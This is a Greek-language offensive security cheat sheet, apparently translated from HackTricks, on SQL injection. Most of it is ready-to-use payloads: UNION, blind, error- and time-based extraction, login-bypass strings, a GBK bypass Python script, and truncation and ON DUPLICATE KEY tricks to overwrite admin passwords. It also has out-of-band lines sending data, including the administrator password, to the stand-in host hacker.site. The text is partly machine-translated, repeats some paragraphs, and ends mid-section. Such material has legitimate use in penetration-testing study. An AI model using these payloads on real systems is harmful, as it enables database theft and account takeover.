SQL Injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

​​​​RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.

Τι είναι η SQL injection;

Η SQL injection είναι μια αδυναμία ασφάλειας που επιτρέπει σε επιτιθέμενους να παρεμβαίνουν σε ερωτήματα βάσης δεδομένων μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να προβάλλουν, τροποποιήσουν ή διαγράψουν δεδομένα στα οποία δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιωνδήποτε δεδομένων στα οποία η εφαρμογή έχει πρόσβαση. Τέτοιες ενέργειες μπορεί να έχουν ως αποτέλεσμα μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμη και την παραβίαση του διακομιστή ή την απόρριψη της υπηρεσίας.

Ανίχνευση σημείου εισόδου

Όταν μια ιστοσελίδα φαίνεται να είναι ευάλωτη σε SQL injection (SQLi) λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισαγόμενες τιμές που σχετίζονται με SQLi, το πρώτο βήμα είναι να κατανοήσετε πώς να εισάγετε δεδομένα στο ερώτημα χωρίς να το διαταράξετε. Αυτό απαιτεί την αναγνώριση του τρόπου για απόδραση από το τρέχον πλαίσιο με αποτελεσματικό τρόπο. Αυτά είναι μερικά χρήσιμα παραδείγματα:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Στη συνέχεια, πρέπει να ξέρετε πώς να διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα. Για να διορθώσετε το ερώτημα, μπορείτε να εισάγετε δεδομένα έτσι ώστε το προηγούμενο ερώτημα να αποδεχθεί τα νέα δεδομένα, ή μπορείτε απλά να εισάγετε τα δικά σας δεδομένα και να προσθέσετε ένα σύμβολο σχολίου στο τέλος.

Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή μπορείτε να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη.

Σχόλια

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Επιβεβαίωση με λογικές πράξεις

Ένα αξιόπιστο μέθοδο για την επιβεβαίωση μιας ευπάθειας SQL injection περιλαμβάνει την εκτέλεση μιας λογικής πράξης και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, ένα GET παράμετρος όπως ?username=Peter που παράγει τον ίδιο περιεχόμενο όταν τροποποιείται σε ?username=Peter' or '1'='1 υποδηλώνει μια ευπάθεια SQL injection.

Επίσης, η εφαρμογή μαθηματικών πράξεων λειτουργεί ως μια αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση στο ?id=1 και ?id=2-1 παράγουν το ίδιο αποτέλεσμα, αυτό υποδηλώνει SQL injection.

Παραδείγματα που δείχνουν την επιβεβαίωση με λογικές πράξεις:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να επιβεβαιώσει SQL ενέσεις με τον προτεινόμενο τρόπο:

Επιβεβαίωση με χρονομέτρηση

Σε ορισμένες περιπτώσεις δεν θα παρατηρήσετε καμία αλλαγή στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να ανακαλύψετε τυφλές SQL ενέσεις είναι να κάνετε τη βάση δεδομένων να εκτελέσει ενέργειες που θα έχουν επίδραση στον χρόνο που χρειάζεται η σελίδα για να φορτωθεί. Επομένως, θα ενωθούμε στο SQL ερώτημα μια λειτουργία που θα πάρει πολύ χρόνο για να ολοκληρωθεί:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Σε ορισμένες περιπτώσεις οι συναρτήσεις ύπνου δεν θα επιτρέπονται. Σε αυτή την περίπτωση, αντί να χρησιμοποιήσετε αυτές τις συναρτήσεις, μπορείτε να κάνετε το ερώτημα να εκτελεί πολύπλοκες λειτουργίες που θα διαρκέσουν αρκετά δευτερόλεπτα. Παραδείγματα αυτών των τεχνικών θα αναφερθούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν).

Αναγνώριση του πίσω μέρους

Ο καλύτερος τρόπος για να αναγνωρίσετε το πίσω μέρος είναι να προσπαθήσετε να εκτελέσετε συναρτήσεις των διαφορετικών πισω μερών. Μπορείτε να χρησιμοποιήσετε τις συναρτήσεις ύπνου από την προηγούμενη ενότητα ή αυτές (πίνακας από το payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, μπορείτε να το κάνετε να εκτυπώσει την έκδοση της βάσης δεδομένων.

Στη συνέχεια, θα συζητήσουμε διάφορες μεθόδους για την εκμετάλλευση διαφορετικών ειδών SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.

Αναγνώριση με το PortSwigger

Εκμετάλλευση με βάση την Ένωση

Εντοπισμός αριθμού στηλών

Εάν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτός είναι ο καλύτερος τρόπος για να το εκμεταλλευτείτε. Καταρχήν, πρέπει να βρούμε τον αριθμό των στηλών που επιστρέφει το αρχικό αίτημα. Αυτό συμβαίνει επειδή και οι δύο ερωτήσεις πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών. Για αυτόν τον σκοπό χρησιμοποιούνται συνήθως δύο μέθοδοι:

Order/Group by

Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, ρυθμίστε αυξητικά τον αριθμό που χρησιμοποιείται στις υποδηλώσεις ORDER BY ή GROUP BY μέχρι να λάβετε μια ψευδή απόκριση. Παρά τις διακριτές λειτουργίες των GROUP BY και ORDER BY στην SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για τον προσδιορισμό του αριθμού των στηλών του ερωτήματος.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Επιλέξτε όλο και περισσότερες τιμές null μέχρι η ερώτηση να είναι σωστή:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Θα πρέπει να χρησιμοποιήσετε τιμές null καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και των δύο πλευρών του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση.

Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών

Στα επόμενα παραδείγματα θα ανακτήσουμε το όνομα όλων των βάσεων δεδομένων, το όνομα του πίνακα μιας βάσης δεδομένων, τα ονόματα των στηλών του πίνακα:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Υπάρχει ένας διαφορετικός τρόπος για να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική βάση δεδομένων, αλλά η μεθοδολογία είναι πάντα η ίδια.

Εκμεταλλευόμενοι την Κρυφή Ένωση

Όταν το αποτέλεσμα μιας ερώτησης είναι ορατό, αλλά μια εισαγωγή βασισμένη σε ένωση φαίνεται αδύνατη, αυτό υποδηλώνει την ύπαρξη μιας κρυφής εισαγωγής βασισμένης σε ένωση. Συνήθως, αυτή η κατάσταση οδηγεί σε μια κατάσταση τυφλής εισαγωγής. Για να μετατραπεί μια τυφλή εισαγωγή σε μια βασισμένη σε ένωση, πρέπει να διακριθεί η εκτέλεση της ερώτησης στο πίσω μέρος.

Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής εισαγωγής σε συνδυασμό με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το σύστημα διαχείρισης βάσεων δεδομένων (DBMS) στον στόχο σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να ανατρέξετε στην τεκμηρίωση του συστήματος DBMS που στοχεύετε.

Αφού έχει εξαχθεί η ερώτηση, είναι απαραίτητο να προσαρμόσετε το φορτίο σας για να κλείσετε με ασφάλεια την αρχική ερώτηση. Στη συνέχεια, προστίθεται μια ερώτηση ένωσης στο φορτίο σας, διευκολύνοντας την εκμετάλλευση της νεοαποκτηθείσας εισαγωγής βασισμένης σε ένωση.

Για περισσότερες λεπτομερείς πληροφορίες, ανατρέξτε στον πλήρη άρθρο που είναι διαθέσιμο στο Healing Blind Injections.

Εκμεταλλευόμενοι την Εισαγωγή βασισμένη σε Σφάλματα

Εάν για οποιονδήποτε λόγο δεν μπορείτε να δείτε την έξοδο της ερώτησης αλλά μπορείτε να δείτε τα μηνύματα σφάλματος, μπορείτε να χρησιμοποιήσετε αυτά τα μηνύματα σφάλματος για να εξαγάγετε δεδομένα από τη βάση δεδομένων. Ακολουθώντας έναν παρόμοιο ροή όπως στην εκμετάλλευση βασισμένη σε ένωση, μπορείτε να καταφέρετε να απορρίψετε τη βάση δεδομένων.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Εκμεταλλευόμενος το Blind SQLi

Σε αυτήν την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του ερωτήματος ή τα σφάλματα, αλλά μπορείτε να διακρίνετε πότε το ερώτημα επιστρέφει μια απάντηση αληθής ή ψευδής επειδή υπάρχουν διαφορετικοί περιεχόμενοι στη σελίδα. Σε αυτήν την περίπτωση, μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να αντλήσετε τη βάση δεδομένων χαρακτήρα προς χαρακτήρα:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Εκμεταλλευόμενος το Error Blind SQLi

Αυτή είναι η ίδια περίπτωση όπως πριν, αλλά αντί να διακρίνετε μεταξύ μιας αληθούς/ψευδούς απάντησης από το ερώτημα, μπορείτε να διακρίνετε αν υπάρχει σφάλμα στο ερώτημα SQL ή όχι (ίσως επειδή το διακομιστής HTTP καταρρέει). Επομένως, σε αυτήν την περίπτωση μπορείτε να προκαλέσετε ένα SQL σφάλμα κάθε φορά που μαντέψετε σωστά τον χαρακτήρα:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Εκμεταλλευόμενος το Time Based SQLi

Σε αυτήν την περίπτωση δεν υπάρχει κανένας τρόπος να διακρίνει η απόκριση του ερωτήματος βάσει του περιεχομένου της σελίδας. Ωστόσο, μπορείτε να καθυστερήσετε τη φόρτωση της σελίδας αν ο μαντεψιάρης χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτήν την τεχνική να χρησιμοποιείται προηγουμένως για να επιβεβαιώσουμε μια ευπάθεια SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Στοίβαξη Ερωτημάτων

Μπορείτε να χρησιμοποιήσετε την τεχνική της στοίβαξης ερωτημάτων για να εκτελέσετε πολλαπλά ερωτήματα διαδοχικά. Σημειώστε ότι ενώ τα επόμενα ερωτήματα εκτελούνται, τα αποτελέσματα δεν επιστρέφονται στην εφαρμογή. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με τυφλές ευπάθειες, όπου μπορείτε να χρησιμοποιήσετε ένα δεύτερο ερώτημα για να ενεργοποιήσετε έναν έλεγχο DNS, συνθήκη σφάλματος ή καθυστέρηση χρόνου.

Το Oracle δεν υποστηρίζει την τεχνική της στοίβαξης ερωτημάτων. Το MySQL, Microsoft και το PostgreSQL την υποστηρίζουν: ΕΡΩΤΗΜΑ-1-ΕΔΩ; ΕΡΩΤΗΜΑ-2-ΕΔΩ

Εκμετάλλευση εκτός ζώνης

Εάν καμία άλλη μέθοδος εκμετάλλευσης δεν λειτούργησε, μπορείτε να προσπαθήσετε να κάνετε τη βάση δεδομένων να εξαγάγει τις πληροφορίες σε έναν εξωτερικό διακομιστή που ελέγχετε εσείς. Για παράδειγμα, μέσω ερωτημάτων DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE

Η εξαγωγή δεδομένων εκτός ζώνης μέσω XXE (XML External Entity) είναι μια τεχνική που επιτρέπει στον επιτιθέμενο να ανακτήσει πληροφορίες από τον στόχο μέσω εξωτερικών οντοτήτων XML. Αυτή η ευπάθεια συνήθως εκμεταλλεύεται όταν η εφαρμογή δέχεται εισόδους XML χωρίς να ελέγχει τις εξωτερικές οντότητες.

Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την ευπάθεια για να ανακτήσει ευαίσθητες πληροφορίες από το σύστημα, όπως αρχεία στον διακομιστή ή ακόμη και προσωπικά δεδομένα των χρηστών. Η εξαγωγή των δεδομένων μπορεί να γίνει μέσω εξωτερικών οντοτήτων DTD (Document Type Definition) ή μέσω εξωτερικών οντοτήτων παραμέτρων.

Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να εισάγετε μια εξωτερική οντότητα XML που θα ανακτήσει τα επιθυμητά δεδομένα και θα τα αποστείλει σε έναν εξωτερικό ελεγκτή που ελέγχετε εσείς. Αυτό μπορεί να γίνει μέσω διάφορων τεχνικών, όπως τη χρήση του πρωτοκόλλου HTTP, FTP ή DNS για την αποστολή των δεδομένων.

Είναι σημαντικό να σημειωθεί ότι η εξαγωγή δεδομένων εκτός ζώνης μέσω XXE μπορεί να είναι μια πολύ ισχυρή τεχνική, καθώς επιτρέπει την ανάκτηση ευαίσθητων πληροφοριών από τον στόχο. Επομένως, είναι σημαντικό να ελέγχονται και να αποτρέπονται αυτού του είδους οι ευπάθειες στις εφαρμογές.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Αυτοματοποιημένη Εκμετάλλευση

Ελέγξτε το SQLMap Cheetsheat για να εκμεταλλευτείτε μια ευπάθεια SQLi με το sqlmap.

Πληροφορίες για συγκεκριμένες τεχνολογίες

Έχουμε ήδη συζητήσει όλους τους τρόπους για να εκμεταλλευτείτε μια ευπάθεια SQL Injection. Βρείτε μερικά ακόμα κόλπα που εξαρτώνται από την τεχνολογία της βάσης δεδομένων σε αυτό το βιβλίο:

Ή θα βρείτε πολλά κόλπα σχετικά με: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.

Παράκαμψη Ταυτοποίησης

Λίστα για να δοκιμάσετε να παρακάμψετε τη λειτουργία σύνδεσης:

pageLogin bypass List

Παράκαμψη Ταυτοποίησης με Ακατέργαστο Hash

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Αυτό το ερώτημα επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με την παράμετρο true για ακατέργαστη έξοδο σε ελέγχους πιστοποίησης, καθιστώντας το σύστημα ευάλωτο στην επίθεση SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματιστούν, παράγουν απροσδόκητα τμήματα εντολών SQL, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Παράκαμψη πιστοποίησης με εισαγμένο hash

Η παράκαμψη της πιστοποίησης με εισαγμένο hash είναι μια τεχνική που χρησιμοποιείται για να παρακαμφθεί ο μηχανισμός πιστοποίησης μιας εφαρμογής. Αυτή η τεχνική εκμεταλλεύεται τις ευπάθειες των επιθέσεων SQL Injection για να παρακάμψει τον έλεγχο της πιστοποίησης και να αποκτήσει πρόσβαση σε προστατευμένες περιοχές της εφαρμογής.

Η τεχνική αυτή λειτουργεί εισάγοντας ένα ειδικά διαμορφωμένο hash στο πεδίο πιστοποίησης της εφαρμογής. Αυτό το hash πρέπει να έχει την ίδια μορφή με τα κανονικά hashes που χρησιμοποιούνται για την αυθεντικοποίηση των χρηστών. Με αυτόν τον τρόπο, η εφαρμογή θα αναγνωρίσει το εισαγμένο hash ως έγκυρο και θα επιτρέψει την πρόσβαση στον επιτιθέμενο.

Για να επιτευχθεί αυτή η παράκαμψη, ο επιτιθέμενος πρέπει να εκμεταλλευτεί μια ευπάθεια SQL Injection στην εφαρμογή. Αυτό μπορεί να γίνει εισάγοντας ειδικά διαμορφωμένες εντολές SQL στα πεδία εισόδου της εφαρμογής. Οι εντολές αυτές θα εκτελεστούν από τη βάση δεδομένων και θα επιτρέψουν στον επιτιθέμενο να εισάγει το ειδικά διαμορφωμένο hash στο πεδίο πιστοποίησης.

Είναι σημαντικό να σημειωθεί ότι αυτή η τεχνική είναι παράνομη και απαγορεύεται να χρησιμοποιηθεί χωρίς την έγκριση του νόμιμου κατόχου της εφαρμογής. Η παράκαμψη της πιστοποίησης με εισαγμένο hash αποτελεί παραβίαση της ασφάλειας και μπορεί να έχει σοβαρές νομικές συνέπειες.

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Συνιστώμενη λίστα:

Θα πρέπει να χρησιμοποιήσετε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πρόσβασης πάντα: Pass1234. (Αυτά τα φορτία περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρεται στην αρχή αυτής της ενότητας)

GBK Παράκαμψη Ταυτοποίησης

Εάν το ' αποδράται, μπορείτε να χρησιμοποιήσετε το %A8%27, και όταν το ' αποδράται θα δημιουργηθεί: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Σενάριο Python:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Πολυγλωσσική εισαγωγή (πολυπλαίσιο)

Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks to exploit multiple database management systems (DBMS) simultaneously. This technique involves crafting a malicious payload that can be interpreted as valid SQL code by different DBMS.

Η πολυγλωσσική εισαγωγή, επίσης γνωστή ως πολυπλαίσιο εισαγωγής, είναι μια τεχνική που χρησιμοποιείται σε επιθέσεις SQL injection για να εκμεταλλευτεί παράλληλα πολλά συστήματα διαχείρισης βάσεων δεδομένων (DBMS). Αυτή η τεχνική περιλαμβάνει τη δημιουργία ενός κακόβουλου φορτίου που μπορεί να ερμηνευθεί ως έγκυρος κώδικας SQL από διάφορα DBMS.

Polyglot injections are particularly useful when the target application uses different DBMS for different parts of its functionality. By crafting a payload that can be interpreted by multiple DBMS, an attacker can increase the chances of a successful SQL injection attack.

Οι πολυγλωσσικές εισαγωγές είναι ιδιαίτερα χρήσιμες όταν η εφαρμογή-στόχος χρησιμοποιεί διάφορα DBMS για διάφορα μέρη της λειτουργικότητάς της. Με τη δημιουργία ενός φορτίου που μπορεί να ερμηνευθεί από πολλά DBMS, ένας επιτιθέμενος μπορεί να αυξήσει τις πιθανότητες μιας επιτυχούς επίθεσης SQL injection.

It is important to note that crafting a polyglot injection payload requires a deep understanding of the syntax and behavior of the targeted DBMS. Additionally, thorough testing and validation are necessary to ensure the payload works as intended across all targeted DBMS.

Είναι σημαντικό να σημειωθεί ότι η δημιουργία ενός φορτίου πολυγλωσσικής εισαγωγής απαιτεί μια βαθιά κατανόηση της σύνταξης και της συμπεριφοράς του συγκεκριμένου DBMS. Επιπλέον, είναι απαραίτητο να πραγματοποιηθούν εκτενείς δοκιμές και επικύρωση για να διασφαλιστεί ότι το φορτίο λειτουργεί όπως αναμένεται σε όλα τα συγκεκριμένα DBMS.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Εντολή Εισαγωγής

Τροποποίηση κωδικού πρόσβασης υπάρχοντος αντικειμένου/χρήστη

Για να το κάνετε αυτό, πρέπει να προσπαθήσετε να δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "κύριου αντικειμένου" (πιθανώς admin στην περίπτωση των χρηστών) τροποποιώντας κάτι:

  • Δημιουργία χρήστη με όνομα: AdMIn (κεφαλαία και πεζά γράμματα)

  • Δημιουργία χρήστη με όνομα: admin=

  • SQL Truncation Attack (όταν υπάρχει κάποιος περιορισμός μήκους στο όνομα χρήστη ή το email) --> Δημιουργία χρήστη με όνομα: admin [πολλά κενά] a

SQL Truncation Attack

Εάν η βάση δεδομένων είναι ευάλωτη και το μέγιστο αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη admin, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη με την ονομασία: "admin [30 κενά] a" και οποιοδήποτε κωδικό.

Η βάση δεδομένων θα ελέγξει αν το εισαγόμενο όνομα χρήστη υπάρχει μέσα στη βάση δεδομένων. Εάν δεν υπάρχει, θα κόψει το όνομα χρήστη στο μέγιστο επιτρεπόμενο αριθμό χαρακτήρων (σε αυτήν την περίπτωση σε: "admin [25 κενά]") και στη συνέχεια θα αφαιρέσει αυτόματα όλα τα κενά στο τέλος ενημερώνοντας μέσα στη βάση δεδομένων τον χρήστη "admin" με τον νέο κωδικό πρόσβασης (μπορεί να εμφανιστεί κάποιο σφάλμα, αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).

Περισσότερες πληροφορίες: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Σημείωση: Αυτή η επίθεση δεν θα λειτουργήσει πλέον όπως περιγράφεται παραπάνω στις πιο πρόσφατες εγκαταστάσεις του MySQL. Ενώ οι συγκρίσεις εξακολουθούν να αγνοούν τα κενά στο τέλος από προεπιλογή, η προσπάθεια εισαγωγής ενός συμβολοσειράς που είναι μεγαλύτερη από το μήκος ενός πεδίου θα οδηγήσει σε σφάλμα και η εισαγωγή θα αποτύχει. Για περισσότερες πληροφορίες σχετικά με αυτόν τον έλεγχο: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Έλεγχος βάσης δεδομένων MySQL με βάση τον χρόνο εισαγωγής

Προσθέστε όσο ','','' θεωρείτε απαραίτητο για να βγείτε από τη δήλωση VALUES. Εάν εκτελεστεί καθυστέρηση, έχετε μια SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ΣΤΗΝ ΠΕΡΙΠΤΩΣΗ ΠΟΥ ΥΠΑΡΧΕΙ ΔΙΠΛΟ ΚΛΕΙΔΙ ΕΝΗΜΕΡΩΣΗΣ

Η ρήτρα ON DUPLICATE KEY UPDATE στο MySQL χρησιμοποιείται για να καθορίσει τι ενέργειες θα πρέπει να πραγματοποιηθούν από τη βάση δεδομένων όταν γίνεται μια προσπάθεια εισαγωγής μιας γραμμής που θα οδηγούσε σε διπλή τιμή σε ένα μοναδικό δείκτη ή στον ΠΡΩΤΕΥΟΝ ΚΛΕΙΔΙ. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιήσει τον κωδικό πρόσβασης ενός λογαριασμού διαχειριστή:

Παράδειγμα Ενσωμάτωσης Πληροφοριών Επίθεσης:

Μια ενσωμάτωση πληροφοριών επίθεσης μπορεί να δημιουργηθεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα users. Η πρώτη γραμμή είναι ένας αποπροσανατολισμός, και η δεύτερη γραμμή στοχεύει στο ήδη υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Έτσι λειτουργεί:

  • Το ερώτημα προσπαθεί να εισαγάγει δύο γραμμές: μία για το generic_user@example.com και μία για το admin_generic@example.com.

  • Εάν η γραμμή για το admin_generic@example.com υπάρχει ήδη, τότε ενεργοποιείται η δήλωση ON DUPLICATE KEY UPDATE, η οποία ενημερώνει το πεδίο password της υπάρχουσας γραμμής σε "bcrypt_hash_of_newpassword".

  • Συνεπώς, η ταυτοποίηση μπορεί να προσπαθηθεί χρησιμοποιώντας το admin_generic@example.com με τον κωδικό πρόσβασης που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού πρόσβασης, το οποίο πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού πρόσβασης).

Εξαγωγή πληροφοριών

Δημιουργία 2 λογαριασμών ταυτόχρονα

Όταν προσπαθείτε να δημιουργήσετε ένα νέο χρήστη και απαιτούνται όνομα χρήστη, κωδικός πρόσβασης και ηλεκτρονική διεύθυνση:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Χρήση δεκαδικού ή εξαδεκαδικού

Με αυτήν την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο έναν λογαριασμό. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να σχολιάσετε τίποτα.

Χρησιμοποιώντας τις εντολές hex2dec και substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Για να αποκτήσετε το κείμενο μπορείτε να χρησιμοποιήσετε:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Χρησιμοποιώντας hex και replace (και substr):

